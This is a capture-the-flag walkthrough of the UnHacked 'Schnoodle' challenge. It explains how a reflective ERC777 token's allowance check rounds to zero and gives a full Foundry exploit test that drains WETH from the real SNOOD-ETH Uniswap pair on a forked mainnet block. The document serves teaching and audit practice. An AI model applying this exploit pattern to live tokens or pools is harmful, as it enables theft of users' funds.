UnHacked CTF - Schnoodle (walkthrough)

UnHacked CTF - Schnoodle (walkthrough)

What an absolutely dumb (or smart 😏) mistake!

Introduction

After I solved the last challenge - "Reaper", I took on the next challenge of the series - "Schnoodle".

Here's what the challenge description reads:

a new token called schnoodle was deployed on mainnet last summer. all seemed fine, until 6/18, when the uniswap pool for the SNOOD-ETH pair was drained of all its ETH.

can you go back and save > 100 ETH?

I knew the drill - go to the repo, checkout the contracts, find the vulnerability, then "travel back in time" to rescue the funds before the attacker took it.

Auditing

What's a reflective token?

So, I focused first on the 2 Schnoodle contracts - "SchnoodleV9Base.sol" and "SchnoodleV9.sol", since these are the only custom contracts I saw; the rest were all from reputed projects like OpenZeppelin, Uniswap, etc.

And I was dumbfounded by the amount of jargon in the contracts, I'll be honest. Beyond the fact that this is an ERC777 token, the "reflective" part of it made zero sense.

I understood that the contract system actually maintains 2 balances - the "Standard" balance and the "reflective" balance, but why's the need for 2 different balances, I do not understand.

Googling for "reflective tokens" took me to this article - What is a reflection token?. Here's an excerpt:

Reflection tokens use a static reward system, which means that any transactions involving these tokens will incur fees. A percentage of the proceeds will go into a liquidity pool for every transaction. Another percentage will be allocated among token holders.

Due to this, the tokens have an intrinsic value and are designed to encourage a ‘hold and earn’ approach, thereby reducing selling pressure. A reflection mechanism is executed through smart contracts, automating token distribution across holders, liquidity pool, and a burn wallet, requiring token holders to keep hodling these tokens in their wallets to receive their rewards.

That still did not make sense to me as to why 2 sets of balances are needed to implement this system; wouldn't one set of balance just do? Maybe the 2 sets of balances are needed so that one balance (which is the actual one) can map to another amount of balance that "reflects" (shows) user's accrued rewards.

In other words, say you have 10 $TOKEN now, and with a reflective rate of 10, your effective balance stands at 1 $eTOKEN. Say someone sends their tokens, and the fees paid are re-distributed to holders, meaning, that the total $eTOKEN increases. That would mean that your 10 $TOKEN maps to a larger $eTOKEN pool. In other words, your $TOKENs are now worth more $eTOKENs than before.

{I might be wrong though; I just guessed that this is what must be happening}

Understanding the contracts

The contracts are huge, so I'll only be covering the interesting bits I found, after a long, painstaking process of mapping the flow of numbers between standard and reflective amounts.

Firstly, there's these 3 functions in "SchnoodleV9Base.sol" that form the center-piece to everything:

function _getReflectedAmount(uint256 amount) internal view returns(uint256) {
    return amount * _getReflectRate();
}

function _getStandardAmount(uint256 reflectedAmount) internal view returns(uint256) {
    // Condition prevents a divide-by-zero error when the total supply is zero
    return reflectedAmount == 0 ? 0 : reflectedAmount / _getReflectRate();
}

function _getReflectRate() private view returns(uint256) {
    uint256 reflectedTotalSupply = super.totalSupply();
    return reflectedTotalSupply == 0 ? 0 : reflectedTotalSupply / totalSupply();
}

The "reflect rate" is just the ratio between the actual balance (like $TOKEN above) and the total supply (like $eTOKEN above). This ratio is then used to convert standard and reflect amounts to each other.

Here's the thing though - have a look at the _spendAllowance() function in "SchnoodleV9Base.sol":

function _spendAllowance(address owner, address spender, uint256 amount) internal override {
    super._spendAllowance(owner, spender, _getStandardAmount(amount));
}

This internal function is supposed to be called to update an approved account's allowance before actually going ahead with a transferFrom() (or similar) function.

**However, observe that although the allowance function is called on actual token balance pool, the amount passed is the standard amount; the reflected amount was supposed to be passed here.

What this means is, for any amount you spend, a much smaller amount would actually be deducted from allowance.**

But here's the weird part. Observe the initialize() of "SchnoodleV9Base.sol":

function initialize(uint256 initialTokens, address serviceAccount) public initializer {
     __Ownable_init();
     _totalSupply = initialTokens * 10 ** decimals();
     __ERC777PresetFixedSupply_init("Schnoodle", "SNOOD", new address[](0), MAX - (MAX % totalSupply()), serviceAccount);
}

That third line mints initial amount of MAX - (MAX % totalSupply(), which, is a gigantic number, very close to max uint256 value (since totalSupply() is negligible compared to MAX).

Because of this, reflect rate is actually very, very high here, and consequentially, the standard amount conversion of any amount, which is not as gigantic as MAX, would yield 0!

In other words, no matter whomsoever's allowance you spend, the allowance check would always pass, and you can spend anybody's balance! WTH!?

This is because in transferFrom() call, the _spendAllowance() call receives 0 as amount (because remember, standard balance would return as 0), which further causes this check to pass:

require(currentAllowance >= amount, "ERC777: insufficient allowance");

Reason is, both currentAllowance and amount are same - zero;

This is terrifying honestly! This means, I would practically own everyone's Schnoodle!

Passing the challenge

With this knowledge, passing the challenge was a breeze.

We need to take ETH, right? Well, we just have a UniswapV2 pair, that has some ETH and a boat load of Schnoodle.

What if we take almost all that Schnoodle, cause a severe de-valuation of ETH compared to Schnoodle, then sell back the Schnoodle for all the ETH?

This is definitely possible, and I found that it works. I wrote this test:

// SchnoodleHack.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/SchnoodleV9.sol";
import "../src/interfaces/IUniswapV2Pair.sol";
import "../src/interfaces/IWETH9.sol";

contract SchnoodleHack is Test {
    SchnoodleV9 snood = SchnoodleV9(0xD45740aB9ec920bEdBD9BAb2E863519E59731941); // token1
    IUniswapV2Pair uniswap =
        IUniswapV2Pair(0x0F6b0960d2569f505126341085ED7f0342b67DAe);
    IWETH9 weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token0

    function testSchnoodleHack() public {
        vm.createSelectFork("https://rpc.ankr.com/eth", 14983600);
        console.log(
            "Your Starting WETH Balance:",
            weth.balanceOf(address(this))
        );

        // INSERT EXPLOIT HERE
        uint256 pairSchoodleBalance = snood.balanceOf(address(uniswap));
        uint256 pairWethBalance = weth.balanceOf(address(uniswap));

        uint256 snoodStolen = pairSchoodleBalance - 1 ether;
        snood.transferFrom(address(uniswap), address(this), snoodStolen); // Transfers all Schnoodle from pair to us, making use of the fact that allowance check passes for all accounts

        uniswap.sync(); // Sets new k based on current token reserves

        // Swap back Schnoodle in return for WETH
        snood.transfer(address(uniswap), snoodStolen);
        uniswap.swap(pairWethBalance - 1 ether, 0, address(this), "");

        console.log("Your Final WETH Balance:", weth.balanceOf(address(this)));
        assert(weth.balanceOf(address(this)) > 100 ether);
    }
}

I ran the test, and guess what:

UnHacked CTF - Schnoodle challenge passed

Takeaways

I guess the takeaway is very simple - complex algorithms are easy to mess up during implementing them, and a thorough auditing is needed to ensure nothing was implemented incorrectly.

Imagine, if someone just wrote tests for the token contract. The tests would have failed when transferring any arbitrary accounts' Schnoodle (which would've actually gone through), indicating problems in the approval processing.

Write tests people, even if it is tedious! A little bit of caution goes a long way in preventing otherwise silly mistakes.